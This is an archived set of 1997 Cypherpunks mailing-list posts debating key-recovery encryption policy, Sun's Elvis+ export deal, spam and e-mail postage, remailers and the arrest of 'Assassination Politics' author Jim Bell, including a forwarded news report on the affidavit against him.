Subject: Key Recovery War
Message-ID: <1.5.4.32.19970522160240.008eed3c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple of news reports on the Key Recovery
critique by Blaze et al from NYT and C|Net:

   http://jya.com/krnews.htm

Both cite Reinsch of BXA's counter-critique.

And another report on Sybase getting BXA
approval for export of 56-bit crypto without
key recovery. However, it's only for data storage
not communication. The story also reports that
Sybase will be allowed to export 128-bit
crypto with a key recovery plan.

   http://jya.com/krnews2.txt

And, baiting another barb, Senator Kerrey has 
entered the outline of his crypto bill in the 
Congressional Record, along with a statement on 
natsec and commerce and privacy need:

   http://jya.com/kerrey3.txt

So the Administration seems to be tickling the market, 
sending up balloons, wet fingering the air, pulling head 
out, and so forth, to see who might be induced to
succumb to the strategem of bait-and-bribe, trot-line 
eager minnows of ga-ga commerce in the national
interest, ahem, like those survivalist national labs,
Bell Labs, Lincoln Labs, Mitres, SAICs, and, their
patrons at National Security councils, departments of 
commerce, defense, state, energy, justice, et al.

Tim and Blanc are right, it's no holds barred Dual-Use
Civil-National Security War for the nation's goodies, 
no matter what fur's feigned to outfox the hounds and 
poachers and encroachers.

It would be swell if the NLs truly competed with industry,
but not likely with all those federal advisory groups
eyeing and spying and lying each other.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 23 May 1997 01:50:35 +0800
To: cypherpunks@toad.com
Subject: Jim Bell accused of "spamming"
Message-ID: <LP647D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I find it symptomatic that the enemies of free speech use "spam" as a generic
term for any kind of speech they don't like.

I don't think the following piece needs much commentary, but it probably will.

Path: altavista!news1.digital.com!uunet!in1.uu.net!192.108.254.3!news.teleport
xtm!kelly.teleport.com!jh
From: Jack Hammer <jh@teleport.com>
Newsgroups: or.politics,wash.politics,alt.rush-limbaugh,alt.fan.tom-leykis
Subject: IRS SAYS INTERNET SPAMMER SABOTEUR (fwd)
Date: Wed, 21 May 1997 17:15:35 -0700
Organization: Teleport - Portland's Public Access (503) 220-1016
Lines: 155
Message-ID: <Pine.GSO.3.96.970521171344.16635E-100000@kelly.teleport.com>
NNTP-Posting-Host: kelly.teleport.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Xref: altavista or.politics:25633 alt.rush-limbaugh:79911 alt.fan.tom-leykis:5
xt


Subject: IRS SAYS INTERNET SPAMMER SABOTEUR


Government affidavit says an Internet author plotted to sabotage an
Oregon 9-1-1 computer and poison city water with botulism. 

VANCOUVER, Wash.- Is there any truth to the rumour that Assassination
Politics (AP) author Jim Bell, who was arrested here Friday by the
Internal Revenue Service, plotted with Portland, Oregon 9-1-1 overseer
Greg Daly to poison the Bull Run resevoir with botulism made from green
beans, and shut down the 9-1-1 emergency center's computers by dumping
carbon fibers into the air vents?

The IRS is accusing Vancouver resident James Dalton Bell, 38, of
conspiring to overthrow the U.S. government. He appeared Monday afternoon
in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit.

AP is a Murder Inc. like plot about a risk-free way of rewarding assassins
through a lottery. 

Bell was seen frequenting local Libertarian functions and a so-called
common law court. The murder conspiracy was applauded by some high ranking
Libertarians.
 
The plot has circulated widely on the Internet. An April search
warrant accused Bell of directly soliciting others to murder. AP would
supposedly protect the identity of the murderers. 

The strategy, which Bell says he wrote and posted solely for speculation, 
involves uses of encryption to predict and confirm assassinations 
and electronic digital cash to pay for the gruesome killings. 

Criticism of AP predicted a reign of anarchy and terror should the plan be
allowed to develop. Bell responded to criticism personally and with
vehemence.

Federal agents raided Bell's Vancouver home April 1 and then accused him
of obstructing government officers, and employees, and using false Social
Security numbers. Bell is far more dangerous than the charges suggest, the
affidavit filed by IRS Inspector Phillip G. Scoff said.

Scott's affidavit said Bell, who has a chemistry degree from the
Massachusetts Institute of Technology, had discussions about using carbon
fiber particles to attack computer systems with Greg Daly, a friend who is
an electronics specialist overseeing Portland's 9-1-1 communications
center. 

"Daly stated that he and Bell had 'laughed' about attacking the 9-1-1 
center with the fiber," the affidavit said.

The affidavit went on to say that Daly also told IRS agents that he had 
hypothetical discussions with Bell about contaminating water supplies 
and about making the botulism virus from green beans. 

In the April 17 and 18 intertiews with IRS agents, Daly admitted he
had keys to Portland's pristine alpine watershed and direct access to 
the Portland water treatment facilities.

Daly tried to defend himself Monday by saying that the conversations he
and Bell had were "merely intellectual fun-and-games discussions" between
old friends who enjoy technical things. 

But Daly also described his friend of 15 years as  "bit of an odd unit".

And during the interview Daly appeared to crack and turn state's 
evidence when Daly offered to "rat (Bell) out in a heartbeat."

The investigation had been expanding Thursday when IRS agents searched the
home of another friend of Bell's, merchant marine radio man Robert East.
Among items seized in the East address raid was a three foot length of
carbon fiber. 

The IRS affidavit reported that East told agents he and Bell had discussed 
"the possibility of putting the fibers down the air vents of a federal 
building" to its computers and about using the fiber against the IRS.

Bell was recently published in The Oregonian daily newspaper where he
appeared to avoid an explanation of his plan, writing mostly of what he
predicted would be AP's positive impact. 

Bell did not say in the article how exactly AP would be implemented, who
could be killed by it or even why it was called Assassination Politics.

But the Internet version, repetively posted for more than a year on 
libertarian e-mail lists and newsgroups, revealed a darker vision. Some 
recipients of Bell's complained of the excessive "spamming", others of 
AP's ethical lapses.

The Oregonian seemed to accept Bell's story without question, and Bell's
idea was defended by some Libertarians. 

Responding to the arrest, Tonie Nathan, the first woman and only
Libertarian to receive an electoral vote for Vice President, appeared to
endorse Bell's assassination plan. 

"I find them basically rational, mind-opening, intellectually
stimulating," she wrote Tuesday. She went on to say that AP "should be
considered." 

Found inside what the IRS reports was Bell's car were documents from the
Multnomah County Common Law Court (MCCLC), a group that elects themselves
the case judges and purports to administer "common law." 

Bell was seen at a court meeting held in a Portland pizza parlour back in
February. Bell has denied ownership of the car. 

The self-appointed court met in an all-you-can-eat buffet where it put
Attorney General Janet Reno, IRS Commisssioner Margaret Richardson and
other IRS officials on trial. 

The mock trial was the result of a complaint by Oregon resident Louis
Wispell, one of the MCCLC "Justices." 

It has been observed in this "court"  that complainants can select their
judges from the buffet line, some who confessed to stealing food, having
snuck past the cashier on the pretense of being on the camera crew. 

The judges have also been observed to switch places with complainants in
other meetings of the MCCLC in trhe basement of a Russian church.

The MCCLC has recently been in the news in regards to charges of its
clerk, Richard Lancial, and his son, Thor Lancial, of simulating court
process. 

Charles Bruce Stewart is the Chief Justice of that court and also the
owner of an e-mail list, nwlibertarians@teleport.com, on which Bell posted
much of his material.

Stewart insists his court is constitutional.

The IRS says Bell has a history of tax disputes with them and reportedly
has a large, outstanding, unpaid balance. 

Friday was set for Bell's detention and preliminary hearing. The
government has asked that Bell be held without ball because he is a danger
to the community, and reportedly is seeking a grand Jury indictment. 

                         From your friend,
                         Your best friend,
                         Your only friend,
                            Jack Hammer
 
                                 ;-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 23 May 1997 03:45:11 +0800
To: cypherpunks@cyberpass.net
Subject: Spam laws threaten remailers?
Message-ID: <199705221929.MAA21253@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


See http://www.senate.gov/~murkowski/commercialemail/

   My
   bill merely provides a means for Internet users to filter out e-mails that
   they do not wish to receive by requiring that senders of unsolicited
   e-mails to include Advertisement as the first word of the subject line
   and that the real street address, e-mail address and a telephone number
   be contained within the body of the message. Routing information that
   accompanies the message must also be accurate. 

Could this be the end of remailers?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 23 May 1997 01:40:11 +0800
To: cypherpunks@algebra.com
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: <v03020934afaa29712cbc@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:13 am -0400 on 5/22/97, Willaim H. Geiger III wrote:


> Bullshit! No metering of accounts is required. All that needs to be done
> is blocking of all mail from Spamford's sites.

As someone who has something on the order of 15 Eudora filters just for
Spamford himself (go take a look at whois for cyberpromo to see how domains
he has registered), this is easier said than done. I've taken to killing
his ip blocks, but that gets a lot of sites, TidBITS among them, in the
crossfire. You end up filtering *in* people who you want to see mail from,
which is an interesting logical conundrum...

I'm in favor of creating digital bearer certificate postage stamps, myself.
Don't care who sends me unsolicited e-mail, as long as they have to pay,
preferrably through the nose, for the privilege...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 23 May 1997 01:50:13 +0800
To: cypherpunks@toad.com
Subject: from BoS: News about Sun and Elvis+
Message-ID: <v0302093bafaa2eb46954@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


>From the "other shoe" department...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Authentication-Warning: jekyll.piermont.com: [[UNIX: localhost]] didn't
use HELO protocol
To: cryptography@c2.net
Subject: from BoS: News about Sun and Elvis+
Date: Thu, 22 May 1997 12:58:06 -0400
From: "Perry E. Metzger" <perry@piermont.com>
Sender: owner-cryptography@c2.net


I thought this would be of interest.

------- Forwarded Message

From: "Judas, Roland" <rj@medos.de>
Date: Thu, 22 May 1997 09:36:44 +0100
To: best-of-security@suburbia.net
Subject: BoS: News about Sun and Elvis


- ---  White House Reviews Sun's Encryption Initiative  ---
By John Fontana, Communications Week

WASHINGTON-The Clinton administration said it is reviewing the
relationship between Sun Microsystems and a Russian  company that
produces a strong encryption product, which  Sun is licensing for
worldwide distribution.
The White House issued a statement last night, saying, "We  are
reviewing our regulatory posture with Sun to ensure that  their
arrangement with the Russian encryption company is in  compliance with
U.S. export controls."
The Department of  Commerce, which is responsible for export
regulations on strong encryption, stressed that the administration was
 reviewing the relationship and not conducting an  investigation, a
spokesman said.
Last week, Sun, in Mountain View, Calif., told Communications Week
that it had licensed an encryption product from Moscow, Russia-based
Elvis+ Co., which offers 128-bit keys and would resell it  worldwide
under the name PC Sunscreen SKIP Elvis+. Sun  has approximately a 10
percent equity stake in Elvis+, whose product is based on Sun's Simple
Key Management for IP  (SKIP) protocol. The specification was
published nearly two  years ago.
Humphrey Polanen, general manager of Sun's security and  electronic
commerce group, was confident the government  would find Sun "in full
compliance with the letter of the law."  He said a key factor was that
Sun offered no technical  assistance in the development of the
software.
U.S. law bars the export of encryption over 56 bits without
 government approval. Companies seeking to export 56-bit  products
must also have a system in place within two years  for key recovery.
Netscape Communications, also of Mountain View, has followed that path
with its  browser software, but Sun has neither government approval
 nor a method to recover keys. The administration wants access to keys
in cases of criminal investigations. It is  concerned that strong
encryption products could fall into the hands of terrorists, even
though similar products are  available from nearly 30 foreign
companies.
The statement from the White House also said it had not  evaluated the
product and could not comment on it.
If found in violation of export controls, Sun could face civil  and/or
criminal penalties. Criminal penalties, which would be  handed out by
the Justice Department, could mean Sun  executive officers would spend
time in a federal prison. At press time, Sun had not seen the
announcement and would  not comment.
"The administration may have to go after Sun to protect the  integrity
of its policy," said Marc Rotenberg, the director of  the Electronic
Privacy Information Center. "You might see the  ,Zimmerman effect,'
which would be tremendous public sympathy."
Rotenberg is referring to Phillip Zimmerman, who won a  battle with
the government over his Pretty Good Privacy  encryption product, which
was distributed free over the  Internet.
"The White House is at risk by going after a U.S. company  for making
a good product," Rotenberg said. "This is one  more reason to think
the administration's cryptography policy  is not long for this
world."
Three bills attacking the administration's policy are being  discussed
on Capitol Hill, but only one, the Security and  Freedom through
Encryption Act, has made it out of  committee. The bill, which was
authored by Rep. Bob Goodlatte (R-Va), would prohibit mandatory key
recovery.
President Clinton is opposed to the bill in its current form.


------- End of Forwarded Message

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 03:08:59 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <v03020934afaa29712cbc@[139.167.130.248]>
Message-ID: <199705221850.NAA17774@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03020934afaa29712cbc@[139.167.130.248]>, on 05/22/97 
   at 10:53 AM, Robert Hettinga <rah@shipwright.com> said:

>At 10:13 am -0400 on 5/22/97, Willaim H. Geiger III wrote:


>> Bullshit! No metering of accounts is required. All that needs to be done
>> is blocking of all mail from Spamford's sites.

>As someone who has something on the order of 15 Eudora filters just for
>Spamford himself (go take a look at whois for cyberpromo to see how
>domains he has registered), this is easier said than done. I've taken to
>killing his ip blocks, but that gets a lot of sites, TidBITS among them,
>in the crossfire. You end up filtering *in* people who you want to see
>mail from, which is an interesting logical conundrum...

I actually do this for all aol, compuserver, prodigy accounts. I only
filter in the few accounts that I wish to correspond with and the rest go
into the bit bucket.

>I'm in favor of creating digital bearer certificate postage stamps,
>myself. Don't care who sends me unsolicited e-mail, as long as they have
>to pay, preferrably through the nose, for the privilege...

My biggest concern with the pay as you go approach is 2 fold:

1. It woun't stop Spamford and his ilk as they are the ones who have the
$$$ to spend.

2. Once the jennie is out of the bottle you will see everyone's cost go up
as everyone will see this as a way to get a peice of the action. If the
INet goes mettered rate the only ones who can afford to spend any time on
it will be the corporations who have the money to spend. I remember when I
had a compu$erver account years ago and how fast the tab ran up as
everything had a charge on it. It was cheaper to stick with BBS's & FIDO
and pay the long distance charges when needed.

If given the choice between 2 evils of receiving Spamford Cyber-momo's
crap or going to a mettered rate INet I chose Spamford as the second will
not get rid of him.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4SjnI9Co1n+aLhhAQGvfwP9FK+mu1krs1at7ZHx/QUmkXbGrsUs246+
sVOUqe/NAv8a0pIc0HGvMOjXVu7EB70hjR7SZSAjXFooqnjgUzoDHsZKSlyAdnDm
1PbRODsolLyX6hMY9ZqbtL9H2Qnn4BZV1SV7nL/XtHyHwFGgyHJ1Pc5FBBa+ymcc
H12OL1h1yaw=
=DvAa
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 23 May 1997 01:47:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Compelling a key (fwd)
In-Reply-To: <v03007808afa96b4f9980@[207.167.93.63]>
Message-ID: <97May22.131409edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 21 May 1997, Tim May wrote:

> At 4:45 PM -0800 5/21/97, Jim Choate wrote:
> 
> >> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
> >> who refused to say where her children were, was held for about 2 years, and
> >> that this was the all-time record for a contempt case. She was ultimately
> >> released when the court concluded she had no intention of cooperating.
> >
> >Exactly! It is ENTIRELY up to the individual judge who issued the contempt
> >citation. If they are pissed enough 2 years will be nothing. As far as I
> >have been able to find there are NO statutes, other than that of a statute
> >of limitation for a particular type of crime, that limit how long you can
> >sit in jail on contempt.

One correction.  She was released by a special law passed by the house of
representatives after a media blitz about her case.  The law only let her
go and did not generally limit the period of time people could be held in
contempt.  It was not the judge, but a legislature trying to quell some
outcry without doing any real reform






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 23 May 1997 01:39:29 +0800
To: cypherpunks@algebra.com
Subject: Re: Compelling a key (fwd)
Message-ID: <97May22.131535edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


Why does everyone still have cypherpunks@toad.com in their Cc: list, or
how can I get it to work so I don't have to edit the headers (back to the
procmail manual...)

---------- Forwarded message ----------
Date: Thu, 22 May 1997 13:17:04 -0400 (EDT)
From: tzeruch@ceddec.com
To: Tim May <tcmay@got.net>
Cc: Jim Choate <ravage@EINSTEIN.ssz.com>, cypherpunks@toad.com
Subject: Re: Compelling a key (fwd)

On Wed, 21 May 1997, Tim May wrote:

> At 4:45 PM -0800 5/21/97, Jim Choate wrote:
> 
> >> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
> >> who refused to say where her children were, was held for about 2 years, and
> >> that this was the all-time record for a contempt case. She was ultimately
> >> released when the court concluded she had no intention of cooperating.
> >
> >Exactly! It is ENTIRELY up to the individual judge who issued the contempt
> >citation. If they are pissed enough 2 years will be nothing. As far as I
> >have been able to find there are NO statutes, other than that of a statute
> >of limitation for a particular type of crime, that limit how long you can
> >sit in jail on contempt.

One correction.  She was released by a special law passed by the house of
representatives after a media blitz about her case.  The law only let her
go and did not generally limit the period of time people could be held in
contempt.  It was not the judge, but a legislature trying to quell some
outcry without doing any real reform







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 03:06:23 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell accused of "spamming"
In-Reply-To: <199705221753.KAA13412@netcom10.netcom.com>
Message-ID: <199705221850.NAA17771@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221753.KAA13412@netcom10.netcom.com>, on 05/22/97 
   at 11:53 AM, mpd@netcom.com (Mike Duvos) said:

>Dr. Dimitri Vulis writes:

>: The IRS is accusing Vancouver resident James Dalton Bell, 38, of
>: conspiring to overthrow the U.S. government. He appeared Monday afternoon
>: in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit. 

>Since when was the IRS charged with enforcing the sedition laws?

>Will the CIA now be collecting our taxes?

>I still haven't heard any behavior on Bell's part described which would
>constitute a crime under any applicable statue.  

Poltitical desent has long been a crime here. Just ask anyone involved in
the Anti-abortion movement, member of a militia, drug legalization
movement, medical use of marajunia movement, member of any other
"politically incorrect" movement.

The federal government needs a serious wake-up call. Unfortunatly the
sheeple can't seem to find the number. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

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gazW7eNp8NrPH9ooGTSEzwevHP/BaCsxZylsgq81tCOKJNsqwXnfeLiqAlu1fPke
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 23 May 1997 01:58:07 +0800
To: cypherpunks@algebra.com
Subject: Change, the Internet, and Government (was Cypherpunk criminalization)
In-Reply-To: <19970521231024.42348@bywater.songbird.com>
Message-ID: <97May22.134616edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 22 May 1997, Kent Crispin wrote:

> On Wed, May 21, 1997 at 07:16:03PM -0800, Tim May wrote:
> > At 5:41 PM -0800 5/21/97, Kent Crispin wrote:
> 
> [...]
> 
> > But more rules need to change. Many of us (most of us?) expect strong
> > crypto to be a catalyst for some major changes. You, Kent, obviously
> > disagree,
> 
> Yep.  I disagree.

Strong crypto is one facet of the internet.  I can now form a group with
people around the world (like the volunteer organizations DeToqueville
speaks of which organize to solve problems).  Data can now flow across
national borders.  Things like prices and ideas are data.  Even money is
to a large extent data.  When government begins trying to take action to
prevent data from flowing, it will simply be hidden from them.  It is one
mechanism for routing around "faults", though I don't think the designers 
of the internet considered taxation and censorship as faults.

Strong crypto by itself won't change anything.  Worldwide communication
that can be both point-to-point and broadcast already is changing quite a
lot of things.  When that needs to be, or even if it would just help to be
completely private or authentic strong crypto comes in. 

The steam engine changed very little except to remove water from coal
mines.  The production line and railroads had a greater impact.
In the same sense, PK systems were invented long ago and were a mere
curiosity.  Strong crypto won't catalyze any major change, but worldwide
private and authentic communications will.

> > and push for more government involvement to shore up the existing
> > rules.
> 
> False.  How *do* you come up with these?

To continue on a more general level:  Going back to "Economics in one
Lesson" - one restriction invariably leads to another.  Rent controls keep
down prices.  So Landlords cannot maintain their buildings, so slumlord
laws are passed to try to force them to keep them open.  No buildings get
built so new subsidies have to be given to build rent-controlled
buildings.  People who live there will stay even when their income goes up
so more laws to means test must be passed.  So people hide their assets to
qualify so financial disclosure laws have to be added.  At each level, the
restriction needs several more restrictions to work.  (I think Hazlit uses
tariffs or food subsidies to illustrate it, but you can use almost
anything). 

Everytime government passes an illegitimate restriction, it starts a race
between those seeking to evade it and the lawgivers who have to close
the loopholes or increase enforcement.

But to close the circle, the internet is much faster than government ever
can be.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 03:38:17 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Justice for the Murderers of Donald Scott
In-Reply-To: <v03007805afaa3c4cdcb8@[207.167.93.63]>
Message-ID: <199705221906.OAA18028@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007805afaa3c4cdcb8@[207.167.93.63]>, on 05/22/97 
   at 12:24 PM, Tim May <tcmay@got.net> said:

>Take this as a warning that the Government is extra-legally compiling
>dossiers and data bases on those making perfectly legal purchases for
>which no permission or identification is required. (Neither ammunition
>nor components--except perhaps black powder--require any form of
>identification or notification to the government.)

>The BATF is apparently compiling lists just like the Red Squads did (and
>still do).

>The balloon is about to go up.

Does anyone have a list of what countries do not have extradition treaties
with the US?

I think it may be time to look in investing in some property out of
country. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 23 May 1997 02:39:20 +0800
To: cypherpunks@toad.com
Subject: Western Union & IRS
Message-ID: <Pine.SUN.3.91.970522142107.29849L@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


I donno if this is news or not, but having just visited one of these 
places, I noticed prominently place warning signs that transfers over $3K 
are reported to the IRS including your SSN, effective May 28 of this year 
or something...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 22 May 1997 21:49:54 +0800
To: jad@dsddhc.com
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <3.0.1.32.19970521144153.00ac47e0@labg30>
Message-ID: <199705221337.OAA00948@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Deters <jad@dsddhc.com> writes:
> No, spam DOES cost the victim.  I'm not saying that the victim is the spam
> recipient.  Think of the ISPs that are the victims of Spamford's
> CyberPromotions.  Yes, victims.  [...]
>
> This situation is the exact situation that has entangled my ISP for the
> last couple of months.
> 
> Are you telling me that being subjected to a jack-boot investigation for
> running pyramid schemes *and* having your customers leave because they
> can't get mail services is a reasonable expense to bear because of
> Spamford's "right to free speech"?  Spamford's speech (or that of his
> "customers") isn't even directed at the sendmail operator or his customers.
>  The sendmail operator above is merely being used by Spamford as a
> megaphone to broadcast the message of spam to other people (who really
> don't want it, either, but that's beside the point.)
> 
> It's no longer the same as shouting down the marketing researcher.  
> 
> [your unmetered rented mega phone analogy]

The problem is that you and most of the rest of the internet world are
renting your mega phones/accounts out without charging for usage
volume.  You are also allowing completely free use of your account as
a recipient, and completely free use of your sendmail as a mail hub
service.

If this causes you grief, you need to start metering, and charging
postage to receive mail, and metering mail hub usage.

If I offered to supply a completely unmetered water supply, and there
were no clause in the legal agreement prohibiting it, I could use the
water supply to drive a mini-turbine and draw free electricity from
it, just pouring the water back down the drain.

If you have a cell-phone where it costs you to receive calls, and
people call you lots with junk marketing calls, I'd argue that it was
your problem.  You'd need to switch to a cell phone provider which
puts all the call metering charges on the caller.  (Cell phone
tarriffs are structured this way in the UK, I understand some/most
cell phones in the US, the receiver pays part or all of the call, this
seems a dumb arrangement).  If it's still economical for junk callers
to call you put a tariff on your line for non-designated callers.

It's a mean world, not every one plays nicely, if you offer free
services where the user gets some value, it _will_ get abused.  The
quicker crypto technology is used to fix this on the internet the
better, otherwise we get dumb government laws governing email usage
instead.

See:
	http://www.dcs.ex.ac.uk/~aba/hashcash/

for some thoughts on a short term solution to metering.  Long term
solution use ecash.

> In this particular case, of course, there was a technical solution:
> install a sendmail to prevent routing of incoming mail.  ISPs and
> corporations around the globe will need this new hardened sendmail to keep
> the spammers away.  Restricting the speech they carry.  Turning off the
> megaphones.

Long term solution charge for your IP packets per packet.  If you get
lots of "business" use the proceeds to buy more bandwidth, or put up
your prices.

Of course I sympathise with your plight on the recieving end of this
crap in the meantime.  

Try if you can to think of it this way: spam is a good thing because
it draws our attention to underlying vulnerabilities in internet mail
transport protocols.  It's better that we are incentivized to fix
these problems (and Spamford/cyberpromo is doing us a service by
providing this incentive), than it is to leave it to governments to
"fix" the problems by dragging laws into it, which will likely result
in "Internet drivers licenses" and other undesirable effects.

Cypherpunks, I think should be involved in providing crypto solutions
to allow metering for services, using anonymous ecash.  If we don't do
it, someone else will, and it won't be anonymous.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 23 May 1997 06:03:47 +0800
To: cypherpunks@algebra.com
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221633.RAA01999@server.test.net>
Message-ID: <19970522144701.16280@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, May 22, 1997 at 03:07:14PM -0500, Willaim H. Geiger III wrote:
-----BEGIN PGP SIGNED MESSAGE-----
[...]
>I as the owner of
>certain computer equipment have the right to determin who uses such
>equipment and how. It should be no different that my right to determin who
>can enter my house and who can not.

Your analogy is flawed in many ways.  1) The entities entering your 
house have an identity; what is actually entering your computer 
equipment is just bits, which have no identity.  Spamfords bits are 
no different than anyone elses.  2) By the very act of connecting to 
the network you agree to recieve any bits that are automatically 
routed to you.

>If I inform Spamford that he is not
>welcome in my house and he still insists on comming in I should have some
>recource to stop him.

You are perfectly free to disconnect your computer from the net.  You
are free to try to find a provider that guarantees not to pass any
spam on to you.  But unless you have some contract with your provider
that specifies special rights, when you sign up you implicitly agree
to accept the bits aimed at you -- otherwise you couldn't receive any
email at all.  What you get on the wire is a function of explicit and
implicit contractual obligations.  This is true whether you are UUNET
peering with ANS or whether you are a PC on a dialup line.

>
>IMHO this can be taking care of through civil courts hitting the spamers
>where it counts in the wallet. As far as identification this is quite
>simple to do without the above measure.

Identification isn't the problem at all.  The problem is that you 
have no grounds on which to base a suit.  Just as you can't sue me for 
sending this mail -- it's an exchange you entered into of your own 
free will.

 Even if Spamford uses tricks to
>cover his tracks his clients are known as they tell you who they are in
>their spam. Traceing back to Cyber-Momo is trivial once his clients are
>known. IMHO when Compu$erve suied Spamford thay should have listed all of
>his customers in the lawsuit.
>
>>Yeah but he didn't kick anything in, he just used something which was
>>setup to be used for free, in an unmetered fashion, where no contracts
>>were agreed to before hand.
>
>No it was not. Just because you leave a door unlocked does not mean that
>anyone has the right to enter. If you run into the store and forget to
>lock the doors on your car does that mean that anyone has the right to
>drive off in your car? If you leave the front door unlocked on your house
>does that mean that anyone can walk in and help themselfs to the contents
>of your house?

All flawed analogies.  You *did* agree to recieve mail -- in fact, 
